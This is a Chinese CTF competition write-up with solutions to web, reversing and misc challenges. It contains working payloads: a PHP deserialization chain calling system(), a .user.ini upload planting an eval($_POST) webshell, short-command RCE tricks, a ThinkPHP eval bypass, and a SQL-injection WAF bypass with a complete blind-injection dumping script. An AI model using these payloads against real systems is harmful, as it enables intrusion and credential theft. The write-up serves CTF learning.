主办方在举办比赛前就开了三天的视频培训,其中主要讲了npc的重要性,就是每道题都有一个提示的小文件,有些题没有npc提示做不出来,可惜那时候没有认真听哈哈。
Web 驴友小镇 这道题属于是签到题了,但是那时候并没有意识到npc的重要,一时间没做出来,找框架去了 这题的npc是shuyulaoshi 打开这个文件就好http://59.62.61.30:48905/shuyulaoshi.txt
flag在给出的flag_is_not_here.php中,打开源码注释就是
然后要注意本题的hint“书鱼老师”让我转告少侠,邀约天下豪杰,共赴武功之巅,论剑武功,诛灭侯景!邀约天下豪杰,npc其实都在这一题目里
龙溪秘境 这题也属于签到题,这题当时不知道npc都在第一题里,hint提示是拍照局长,然后就爆破各种大小写的组合哈哈。 hint: 拍照局长:少侠,此题仅凭burp亦能破解!此工具妙用无穷,只需巧妙运用,必能解决难题。愿汝坚定信心,奋力一搏
当时也想到弱密码,字典太垃圾了,没爆出来。。
它说我们用户名错误,所以我们先精确爆用户名
字长不同,看来用户名是test
再爆密码 注:要base64编码一次
石能为鼓 反序列化题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php show_source (__FILE__ );class ping { protected $xiang ; function __construct ( ) { $this ->xiang = new fun (); } function __destruct ( ) { $this ->xiang->cp (); } }class fun { function cp ( ) { echo "hello" ; } }class cup { private $data ; function cp ( ) { eval ($this ->data); } }unserialize ($_GET ['d' ]);
解法一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php show_source (__FILE__ );class ping { public $xiang ; function __construct ( ) { $this ->xiang = new fun (); } function __destruct ( ) { $this ->xiang->cp (); } }class fun { function cp ( ) { echo "hello" ; } }class cup { public $data ; function cp ( ) { eval ($this ->data); } }$a =new ping ();$b =new cup ();$b ->data="system('cat /flag');" ;$a ->xiang=$b ;echo serialize ($a );
解法二:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php show_source (__FILE__ );class ping { protected $xiang ; function __construct ( ) { $this ->xiang = new cup (); } function __destruct ( ) { $this ->xiang->cp (); } }class cup { private $data = "system('cat /flag');" ; function cp ( ) { eval ($this ->data); } }$a = new ping ();echo urlencode (serialize ($a ));
龙池古庙 hint: 郑隐:老夫在此恭候少侠好久了。少侠可.user.ini的武功秘籍?此文件可用于PHP配置,掌握其内奥,能在Web开发中大展神威,务须细心体悟?
.user.ini文件上传利用
上传.user.ini,把Content-Type改为image/png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 POST / HTTP/1.1 Host : 59.62.61.30:49947User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : multipart/form-data; boundary=---------------------------4110285850978386825957764637Content-Length : 402Origin : http://59.62.61.30:49947Connection : closeReferer : http://59.62.61.30:49947/Upgrade-Insecure-Requests : 1Priority : u=0, i-----------------------------4110285850978386825957764637 Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png auto_append_file=.user.ini # <?php eval ($_POST [1 ]) ;-----------------------------4110285850978386825957764637 Content-Disposition: form-data; name="submit" Submit -----------------------------4110285850978386825957764637 --
上传成功,题目给了上传的目录路径 /app/upload/25f6181d708c6ceaea46fd3193c28d9e/.user.ini 进入/upload/25f6181d708c6ceaea46fd3193c28d9e/ 看到有index.php 直接访问index.php即可触发.user.ini注释中的php代码。
然后蚁剑连接还是RCE都可以
武功论剑 hint: 陈霸先:朕将御驾亲征,如少侠能使用PHP chain与朕同行,必能将那侯景斩于马。
php链emmm 按照注释进入source.php
1 2 3 4 5 6 7 8 9 10 11 12 <?php show_source (__FILE__ );if (isset ($_GET ['file' ])){ if (preg_match ("/flag/i" ,$_GET ['file' ])){ echo "no way" ; } else { $file =$_GET ['file' ]; include_once ($file ); } }
伪协议可以读取,但是flag被过滤了 用过滤器链的知识,这个知识有点多了PHP过滤器链:它是什么以及如何使用它
了解了知识后,有一个现成的脚本php_filter_chain_generator
用linux运行脚本就好,windows下的有会有报错
真君擒龙 hint: 许真君:少侠,曾闻od这一利器否?此工具非同凡响,能透过分析二进制文件的内容和结构,揭示其中的奥秘与潜藏的信息,是破解与调试的重要利器,值得深入学习与掌握。
1 2 3 4 5 6 7 8 <?php show_source (__FILE__ );$cmd =$_GET ['cmd' ];if (isset ($cmd )&&strlen ($cmd )<6 &&!strpos (strtolower ($cmd ), 'nl' )){ system ($cmd ); }else { die ("no!no!no!" ); }
这个题关键点在于输入的字符要小于6个字符,所以可以RCE的方法就很少 当时再网上找了一个方法,甚至可以缩小到四个字符RCE,使用的是linux中的重定向 可惜他的poc细节有点问题,没能复现出来,但我觉得这个方法是可行的,之后可以深入探究一一下。5位可控字符下的任意命令执行
本题有两种解法
解法一: hint提出了od这一命令,了解一下 od是一个用于以多种格式显示文件内容的命令。默认情况下,它以八进制格式显示内容,但也可以使用选项来指定其他格式(如十六进制、字符等)。 我们的paylaod是
od /* 表示对根目录下的每个文件和目录内容进行转储,并以八进制(或其他默认格式)显示。 这里python用一个小脚本从八进制恢复成我们可以看的
1 2 s = '000000 0 066146 063541 062573 061470 063066 030070 026463 063142 000002 0 061065 032055 033071 026460 033070 031546 034455 030471 000004 0 061070 060463 030465 031463 076461 000012 000005 3' print(b''.join(int(ss, 8 ).to_bytes(2 , 'little') for ss in s.split()))
把中间未能处理的\x10和\x00去掉就得到我们的flag了
解法二: 有注意到if语句的nl,先了解一下 nl 是一个命令行工具,用于对文件内容的行进行编号。它会输出带有行号的文件内容。
1 !strpos (strtolower ($cmd ), 'nl' )
当时做题的时候确实给我晃到了,以为是把nl过滤了 其实不是,它返回的是匹配的位置 strpost() 所以 所以!strpos(strtolower($cmd), ‘nl’)就是true了,在输入其它字符时也不影响,没有匹配到返回的是false,前面加个!就是true了,很巧妙 所以payload
nl /* 表示对根目录下的每个文件和子目录的内容进行编号,并输出带有行号的内容。
萍水相逢 hint: 孔子:少侠,你可曾听闻过那“可变函数山”?此山深奥莫测,藏于编程之道,若能掌握其中精髓,必能在代码之海中游刃有余,纵横捭阖
这个hint搞不懂 源码有提示有www.zip 下载下来看源码,是thinkphp6框架 d盾扫描app/controller/index.php有eval可以利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace app \controller ;use app \BaseController ;class Index extends BaseController { public function index ( ) { $white_fun = array ( 'print' ); if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (preg_match_all ('/([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i' , $code , $matches1 )) { foreach ($matches1 [1 ] as $value ) { if (function_exists ($value ) && ! in_array ($value , $white_fun )) { echo '加把劲~' ; exit ; } } } if (preg_match ('/(new)|(dump)|(content)|(f)|(php)|(base)|(eval)|(assert)|(system)|(exec)|(passthru)|(code)|(chr)|(ord)|(include)|(require)|(request)|(import)|(post)|(get)|(cookie)|(sess)|(server)|(copy)|(hex)|(bin)|( )|(\")|(\/)|(\>)|(\<)|(~)|(\{)|(\})|(\.)|(,)|(`)|(\$)|(_)|(\^)|(!)|(%)|(\+)|(\|)|(dl)|(open)|(mail)|(env)|(ini)|(link)|(url)|(http)|(html)|(conv)|(add)|(str)|(parse)/i' , $code )) { echo '收手吧阿祖' ; exit ; }else { eval ($code ); } }else { return '就挺秃然的。' ; } } public function hello ($name = 'ThinkPHP6' ) { return 'hello,' . $name ; } }
payload
1 http:// 59.62 .61.30 :47672 /public/ ?code=(('input' )('name' )(('input' )('name1' )));&name=system&name1=/readflag
这题没怎么搞懂
禅蕴杨岐 hint: 杨岐禅师:备份文件通常?.xxx.php.swp的形式存在,这种格式常见于编辑器生成的临时文件,务必留意以避免信息泄露或文件损坏?
我们发现.index.php.swp存在泄露源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php function contain ($str , $a ) { $strpos_res = strpos ($str , $a ); if ($strpos_res ){ return true ; } return false ; }function lvlarrep ($str , $v1 ) { $s = str_ireplace ($v1 , '' , $str ); if (contain ($s , $v1 )){ $s = lvlarrep ($s , $v1 ); } return $s ; }function waf ($str ) { $ban_str = explode (',' ,'select,ascii,sub,con,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20' ); foreach ($ban_str as $v1 ){ if (contain ($str , $v1 )){ $s = lvlarrep ($str , $v1 ); $str = $s ; } } $str = str_replace ('\'' , ''' , $str ); return $str ; }if (isset ($_POST ['login' ])){ $db_host = '127.0.0.1' ; $db_user = 'root' ; $db_pass = 'toor' ; $db_name = 'ctf' ; $conn = mysqli_connect ($db_host , $db_user , $db_pass , $db_name ); if (!$conn ) { die ('数据库连接失败!' . mysqli_connect_error ()); } $username = waf ($_POST ['username' ]); $password = waf ($_POST ['password' ]); $sql = "SELECT * FROM user WHERE `username` = '$username ' AND `password` = '$password ';" ; $query_result = mysqli_query ($conn , $sql ); if (mysqli_num_rows ($query_result ) > 0 ) { die ('登陆成功!' ); }else { die ('哦欧!' ); } }?>
sql注入,防火墙 题中explode — 使用一个字符串分割另一个字符串 相当于列出黑名单
1 2 3 4 if (contain($str , $v 1)){ $s = lvlarrep($str , $v 1); $str = $s ; }
调用contain函数
1 2 3 4 5 6 7 function contain ($str , $a ) { $strpos_res = strpos ($str , $a ); if ($strpos_res ){ return true ; } return false ; }
strpos — 查找字符串首次出现的位置 就是看你的字符串内有没有黑名单的内容,如果有返回true
再调用lvlarrep函数
1 2 3 4 5 6 7 function lvlarrep ($str , $v1 ) { $s = str_ireplace ($v1 , '' , $str ); if (contain ($s , $v1 )){ $s = lvlarrep ($s , $v1 ); } return $s ; }
str_ireplace–把str中的v1替换为空 这里再进行了递归调用,再次检测有无黑名单的内容,v1没有改变,说明检测的还是同一个
再看一下我们的黑名单
1 $ban_str = explode(',','select ,ascii,sub,con,alter table,delete ,drop ,update ,insert into ,load_file,,union ,<script,</script,sleep(,outfile,eval(,user (,phpinfo(),select *,union %20 ,sleep%20 ,select %20 ,delete %20 ,drop %20 ,and %20 ');
看似很多被ban了,其实我们可以嵌套来绕过 先上payload
1 login =1 &password=or if(asunioncii(suunionbstr((selunionect group_counionncat(username,0 x7e,password) from user),1 ,1 ))>96 ,1 ,0 )#&username=admin\
可以看到黑名单里都嵌套了union,仔细看黑名单的内容,union是在select,ascii,sub,con的后面位置,当循环语句匹配到union时,上面password的内容会变为
1 or if(ascii(substr((select group_concat(username,0 x7e,password) from user),1 ,1 ))>96 ,1 ,0 )#
循环递归去掉所有v1-union,然后就会匹配到union后面的黑名单,而不会重新检测过滤后的str,值得注意的是题目黑名单是sub和con所以在构造substr和concat的时候要注意插入的位置。因为回显只有登录成功和失败,所以我们采用布尔盲注。
再来注意一下这个语句
1 $str = str_replace('\'' , ''' , $str ); // 万恶的单引号,必须转义
可以看到下面的查询语句闭合区间为单引号,但是这里把单引号转义了 我们可以通过转义符来绕过 所以我们的username=admin\
这里结合一下sql语句
1 SELECT * FROM user WHERE `username` = 'admin\' AND `password` = ' or if (asunioncii(suunionbstr((selunionect group_counionncat(username,0x7e ,password ) from user ),1 ,1 ))>103 ,1 ,0 )#';
我们把内容直接放进去 \转义了单引号 所以username = ‘admin' AND password = ‘ $password变量还在,形成了一个新的语句,然后后面的#注释掉多余的单引号 到这步我们就成功绕过了防火墙 因为是布尔盲注,所以我们需要写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requests import time if __name__ == '__main__' : result = '' i = 0 while True : i = i + 1 low = 32 high = 127 while low < high: mid = (low + high) # payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)#" # payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(table_name) from information_schema.tables where table_schema=\" ctf\"),{i},1))>{mid},1,0)#" # payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(column_name) from information_schema.columns where table_name=\" user\"),{i},1))>{mid},1,0)#" payload = f"or if(asunioncii(suunionbstr((selunionect group_counionncat(username,0x7e,password) from user),{i},1))>{mid},1,0)#" # print(payload) url = f"http://59.62.61.30:48057/" # print(url) data={ 'username' : 'admin\\' , 'password' : f'{payload}' , 'login' : '1' } sess = requests.session() r = sess.post(url=url,data=data) print(data['password' ]) if '登陆成功' in r.text : low = mid + 1 time .sleep (0.1 ) else : high = mid if low != 32 : result += chr(low) print(result) else : break
软件安全 九龙吐水 hint: 罗霄:少侠可知,CE (Cheat Engine) 乃一开源之内存扫描与调试神器。此利器常用于篡改单机游戏之数值,譬如生命值、金钱等。其原理乃通过扫描游戏进程之内存数据,精准定位并修改特定内存地址,以达成修改游戏数据之目的。此物妙用无穷,然需谨慎使用,方能恰如其分
下载CE,这个在官网上下https://cheatengine.org/
CE使用教程https://www.cnblogs.com/LyShark/p/10799926.html
打开附件下载的俄罗斯方块
当前的分数为0 在CE上抓取这个进程 数值改为0,点击首次扫描 出现了很多地址,先不管 先玩游戏 现在我们得了20分,更新一下CE的数值,并再次扫描 这次缩小为4个地址,看来我们要再来一次 现在是30,重复上述操作 现在缩小为两个 选其中一个双击添加到地址栏 再次双击改变其值 可以看到成功改变 结束游戏后就可获得flag
misc 星空栈道 下载给了一个base.txt base64解码 没有什么有用的信息,文件形式保存发现是elf文件 把文件放到liunx执行,需要给权限
龙鳞石阶 hint: 武氏夫妇:传说中,存在一种名为DNS Beacon的邪恶力量,它隐藏在网络深处,悄然发送信号,诱使不明之人误入陷阱
wireshark打开发现有很多dns的请求,发现很多basexxx.ctf.org.cn 的请求 而且结果是无意义的127.0.0.1,猜测这是目标服务器被植入了使用dns协议的木马,根据base的提示,要把请求拼接起来。或者使用过滤 dns.flags == 0x8180 全部出来了 可以通过过滤 ctf.org.cn 或者 base 将请求的域名按顺序取下来,共有 18 个
1 d2 hvYW1 pCnJvb3 QKbHMgLwpmbGFnICBob21 lICBsaWIgIGxpYjY0 ICBtZWRpYSAgbW50 ICBvcHQgIHByb2 MgIHJvb3 QgIHJ1 biAgc2 JpbiAgc3 J2 ICBzeXMgIHRtcCAgdXNyICB2 YXIKY2 F0 IC9 mbGFnCmZsYWd7 V3 VHb25 nU2 hhbl9 XZTFjb21 lX1 lvb29 vb1 V9
铁蹄关隘 hint: 欧阳将军:少侠,汝可知steg86乃一件失传已久之神兵利器。此物威力无穷,若能得此神器相助,必能助汝一臂之力,克服眼前之艰难险阻。望汝能找到此神兵,行走江湖,纵横无敌